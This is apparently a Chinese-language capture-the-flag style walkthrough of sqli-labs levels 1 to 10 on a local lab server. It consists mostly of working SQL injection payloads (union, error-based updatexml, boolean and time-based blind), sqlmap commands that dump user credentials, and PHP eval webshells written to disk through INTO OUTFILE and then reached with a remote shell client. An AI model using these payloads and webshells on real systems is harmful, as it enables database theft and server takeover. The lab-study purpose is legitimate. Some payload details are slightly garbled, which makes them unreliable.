http://127.0.0.1/sqli-labs-master/Less-1/?id=1'
根据报错信息,可以确定传入参数被存到一对单引号之间
猜想sql语句大概这样:
select * from user where id='1'
闭合方法: 通过单引号闭合前面的单引号 然后注释掉后面的内容
sql中的几种注释
开工
通过order by查询字段数
payload:
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by 3--+
字段数先取4,报错(说第4列未知)
字段数取3后页正常显示
测试回显位置
payload:
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,3--+
要执行union后的语句就要让union前的查询语句不正确,取id=-1或0(只要不存在就ok)
通过回显可位可知, 2,3字段位置有回显
爆数据库名
先介绍几个重要函数:
database() # 当前数据库
user() #当前用户
version() #数据库版本信息
payload:
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,database(),3--+
由回显信息可知, 数据库名为 “security”
爆表名
payload:
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security'--+
发现只能显示一个表名, 查看源码发现后台 使用 limit 限制回显行数
可以通过通过group_concat()函数显示多个字段
爆字段名
payload:
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
爆内容
payload:
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(concat_ws(0x3a,username,password)),3 from security.users--+
> concat_ws函数,用指定字符 [拼接] 指定内容
0x3a 表示十六进制的 : (冒号)
几种重要的报错注入函数:
>
> updatexml()
#MYSQL对XML文档数据进行查询和修改的XPATH函数.
> extractvalue()
#MYSQL对XML文档数据进行查询的XPATH函数.
> floor()
# MYSQL中用来取整的函数
> concat
把传进去的两个参数组合成一个完整的参数再打印出 0x7e为 ~ 的16进制(避免报错内容不被吃掉(也可用其他符号的16进制))
开始注入:
爆库名
payload:
?id=1' and updatexml(1,concat(0x7e,database()),0)--+
由图可知, 数据库名与报错信息一起被回显到页面
爆表名
payload:
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security')),0)--+
报错提示Subquery returns more than 1 row
原因是报错只能依次显示一行, 我们可以使用limit限制回显行数
payload:?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),0)--+
通过改变limit a,1 中a的值, 依次爆出security中的表为:
emails, referers, uagents, users
爆字段名
payload:
?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 4,1)),0)--+
具体操作同上, 依次爆出字段名为:
id, username, password
爆内容
payload:
?id=1' and updatexml(1,concat(0x7e,(select concat_ws(0x3a,id,username,password) from security.users limit 0,1)),0)--+
0x03 通过工具sqlmap自动注入(至少Less-1~Less-10可用该方法测试)
自动扫描漏洞
payload:
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1
爆数据库名
payload:
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --dbs
爆库security中的表名
payload:
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 -D security --tables
爆表users中的字段名
payload:
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 -D security -T users --columns
爆内容
payload:
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 -D security -T users -C id,username,password --dump
Game Over~~
后面内容每道题仅介绍一种方式进行注入测试
类似于Less-1,甚至还比Less-1要简单----->>>话不多说,直接开干
先丢个单引号试试水,发现直接报错
http://127.0.0.1/sqli-labs-master/Less-2/?id=1'
报错内容:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1
由单引号中内容可猜想sql语句:(整型注入)
select * from users where id=1;
或者也可以通过布尔值报错的方式判断是否为整型注入
先用and 1=1 试试, and表示并列,只有当and两边均为true时才为真
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1=1--+
发现无回显, 说明 and 后面的内容参与后台数据库逻辑运算, 可判断此处存在注入, 而且是整型注入
payload:
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 3 --+
payload:
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,database(),3--+
也可以以用
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata--+
爆所有数据库
payload:
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='day1--+
payload:
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'--+
发现只有一个字段, 字段名也为flag
payload:
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,flag,3 from day1.flag--+
成功爆出flag, Game Over
如果想要爆数据库security, 操作与Less-1类似…
Game Over~~
根据报错信息单引号中的内容可猜测SQL语句为:
select * from 表名 where id=( ‘1’ ) …
用布尔报错证明:
payload:
?id=1' and 1=1--+
还是报错,加有括号( ) )试试
payload:?id=1') and 1=1--+
发现加括号后回显正常,证明猜想正确
也可以看看源码:(推荐做完题看源码, 了解php传参语句, 过滤语句)
源码显示结果也与猜想一致
然后就依次:
具体操作步骤同上面Less-1和Less-2
与Less-3几乎一样, 将payload中的单引号换做双引号就OK
输入单引号,报错,输入两个单引号,正常回显,可判断此处存在注入
通过布尔进行验证猜想
payload1: ?id=1' and 1=1
payload2: ?id=1' and 1=2
发现and后面为真时, 有回显 , 为假时无回显
不管如何深入测试,页面只显示"You are in…",以为是盲注, 查看源码后才的知, 参数进去执行后的数据结果根本没打印,只要正确执行就打印"You are in…"
立马…还是没想到(原来是传说中的双注入)
双注入(双查询): 其实就是一个select语句中再嵌套一个select语句
极端的问题需要极端的手段来解决, 既然无法正确显示, 那就逆着来呗, 给它整一个错误回显, 把想要的内容同报错信息一起显示出来(所谓的报错注入…)
updatexml() #MYSQL对XML文档数据进行查询和修改的XPATH函数.
extractvalue() #MYSQL对XML文档数据进行查询的XPATH函数.
floor() # MYSQL中用来取整的函数
payload:
?id=1' and updatexml(1,concat(0x7e,database()),0)--+
其中concat: 把传进去的两个参数组合成一个完整的参数再打印出 0x7e为 ~ 的16进制(避免报错内容不被吃掉(也可用其他符号的16进制))
可以看出数据库信息和报错信息一起被回显 到页面
现在按注入顺序进行注入:
payload:
?id=1' and updatexml(1,concat(0x7e,database()),0)--+
payload:
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security')),0)--+
由于报错只能一次显式一行, 所以我们使用limit 逐次进行表名获取(也可以使用 group_concat(table_name)全部打印)
payload:?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),0)--+
爆出数据库’security’ 中的第一个表 ‘email’
接着爆后面的表,将limit 0,1 依次换成limit 1,1\ limit 2,1…
依次爆出 第二个表为 ‘referers’ ,第三个表为’uagents’ , 第四个表为 ‘users’
当开始爆下一个表的时候:
无回显, 说明当前数据库只有四个表
payload:
?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),0)--+
操作同2, 依次爆出表users中的字段为’id, username, password’ 三个字段
payload:
?id=1' and updatexml(1,concat(0x7e,(select concat_ws(0x3a,username,password) from security.users limit 0,1)),0)--+
其他内容也是通过改变limit的值依次获取
Game Over~~
操作流程同Less-5一模一样, 只需要将payload中的单引号换做双引号就OK, 此处不再赘述
into outfile: 写入文件操作
前提:
1. 文件名必须是全路径(绝对路径)
2. 用户必须有写文件的权限
3. 没有对单引号’过滤
路径里面两个反斜杠\可以换成一个正斜杠/PHP 语句没有单引号的话,必须转换成十六进制要是想省略单引号'的话,必须转换成十六进制
常用一句话格式:
eval(\$_POST["admin"]); ?>
eval(\$_GET["admin"]); ?>
@eval(\$_POST["admin"]); ?>
phpinfo(); ?>
eval($_POST["admin"]); ?>
有时候得写成
eval(\\\$_POST["admin"]); ?>
payload:
?id=-1')) union select 1,2,'' into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\demo.php"--+
PS: 为一句话木马,这里不再赘述.
虽然回显报错,但是查看本地文件已经写入了demo.php
接下来,上蚁剑(先在本地浏览器访问一下(即运行)上传的文件,否则不然连不上)
连接成功,然后便可以反键进入终端shell操作, 此处不再赘述.
PS: 需要mysql数据库开启secure-file-priv写文件权限,否则不能写入文件。
题目名字暴露一切.布尔值无非为真和为假
先介绍几基于盲注的函数:
length: 用来计算数据库表名长度
concat(): 没有分隔符的连接字符串
concat_ws(): 含有分隔符地连接字符串
group_concat(): 连接一个组的所有字符串,并以逗号分隔每一条数据
substr(): 截取支付串
mid(): 截取字符串
ascii(): 返回字符串的数值(ASCII返回值是0-255)
ord(): 返回字符串数值
payload:
?id=1' and 1=1--+
回显 You are in…
布尔假时:
payload:?id=1' and 1=2--+
回显为空
payload:
?id=1' order by 3--+
payload:
?id=1' and length(database())=8--+
同理表名段名
payload:
?id=1' and mid(database(),1,1)='s'--+
回显正常即字符匹配成功
即数据库第一个字符为’s’, 接下来测第二个字符
payload:?id=1' and mid(database(),2,1)='e'--+
即依次将mid()函数第二个参数1,2,3…8
所得字符依次为 security, 即数据库名为security
上述方法查询比较费时费力, 可以使用ascii函数直接查询字符对应的数值
payload:
?id=1' and ascii(mid(database(),1,1))>100--+
布尔值为真时回都显为You are in…
可以通过使用二分法,减少查询时间
可知第一个字符的ASCII大于114,但不大于115,即该字符的ASCII值为115,对应的字符为s
后面字符测试与上述一致,只需改变mid()函数第二个参数即可(其中mid()函数也可用substr()函数代替)
依次可得库名所含字符的ascii值为115, 101, 99, 117, 114, 105, 116, 121, 所对应的字符依次为security
payload:
?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=101--+
测试方法与上述一致, 只需将limit 0,1中0依次改变为1,2,3…即可查询第一,二,三…个表名
依次测得表名为emails, referers, uagents, users
payload:
?id=1' and ascii(mid((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>104--+
依次可得列名为: id, username, password
payload:
?id=1' and ascii(mid((select password from security.users limit 0,1),1,1))=68--+
依次可得第一行数据的password为Dumb, password为Dumb
其他数据可自行尝试.
Game Over~~
由题目可知,本关为盲注
先安利一个函数:
if(condition,a,b): 当condition为true的时候,返回a,当condition为false的时候,返回b
这里因为我们利用的是时间的延迟,贴图就没有意义了,这里只写 payload 了:(正确的时
候直接返回,不正确的时候等待 5 秒钟,只贴正确的)
payload:
?id=1' and if(length(database())=8,sleep(5),1)--+
即长度为8时会等待5秒
payload:
?id=1' and if(ascii(mid(database(),1,1))=115,sleep(5),1)--+
ASCII值为115,说明第一位字符为 s
payload:
?id=1' and if(ascii(mid(database(),2,1))=101,sleep(5),1)--+
ASCII值为101,说明第二位字符为 e
…
以此类推,可得数据库名为 security
payload:
?id=1' and if(ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),1)--+
ASCII值为101, 说明第一个表的第一位字符为 e
…
以此类推可得第一个表的名称为 emails
payload:
?id=1' and if(ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114,sleep(5),1)--+
ASCII值为114, 说明第一个表的第一位字符为 r
…
以此类推可得第一个表的名称为 referers
…
再以此类推,我们可以得到所有的数据表 emails,referers,uagents,users
4. 爆users表的列名
payload:
?id=1' and if(ascii(mid((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,sleep(5),1)--+
ASCII值为105, 说明第一个表的第一位字符为 i
…
以此类推, 可得users表的所有列名为 id, username, password
以上便是基于时间的盲注的所有内容
如果想测试内容的可自行测试, 方法同上
Game Over~~
从标题就可以看到 《基于时间-双引号》,所以很明显的这关要我们利用延时注入
进行,同时 id 参数进行的是 “ 的处理。和 less9 的区别就在于单引号(‘)变成了(“),我
们这里给出一个 payload 示例,其他的请参考 less-9
爆数据库
payload:
?id=1" and if(ascii(mid(database(),1,1))=115,sleep(5),1)--+
其余的请参考Less-9
Game Over~~